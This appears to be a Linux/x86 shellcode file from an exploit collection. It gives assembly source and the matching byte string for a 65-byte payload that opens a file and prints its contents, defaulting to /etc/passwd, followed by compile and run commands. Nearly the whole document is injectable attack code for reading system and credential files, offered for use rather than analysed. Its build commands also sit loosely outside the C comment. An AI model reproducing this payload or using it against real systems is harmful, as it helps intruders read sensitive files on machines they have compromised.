/*
Linux/x86 file reader.

65 bytes + pathname
Author: certaindeath

Source code:
_start:
xor %eax, %eax
xor %ebx, %ebx
xor %ecx, %ecx
xor %edx, %edx
jmp two

one:
pop %ebx

movb $5, %al
xor %ecx, %ecx
int $0x80

mov %eax, %esi
jmp read

exit:
movb $1, %al
xor %ebx, %ebx
int $0x80

read:
mov %esi, %ebx
movb $3, %al
sub $1, %esp
lea (%esp), %ecx
movb $1, %dl
int $0x80

xor %ebx, %ebx
cmp %eax, %ebx
je exit

movb $4, %al
movb $1, %bl
movb $1, %dl
int $0x80

add $1, %esp
jmp read

two:
call one
.string "file_name"
*/
char main[]=
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"
"\x80\x89\xc6\xeb\x06\xb0\x01\x31"
"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"
"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"
"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"
"\x04\xb3\x01\xb2\x01\xcd\x80\x83"
"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"
"\xff"
"/etc/passwd"; //Put here the file path, default is /etc/passwd

gcc -o exploit exploit.c

Chmod +x exploit

./exploit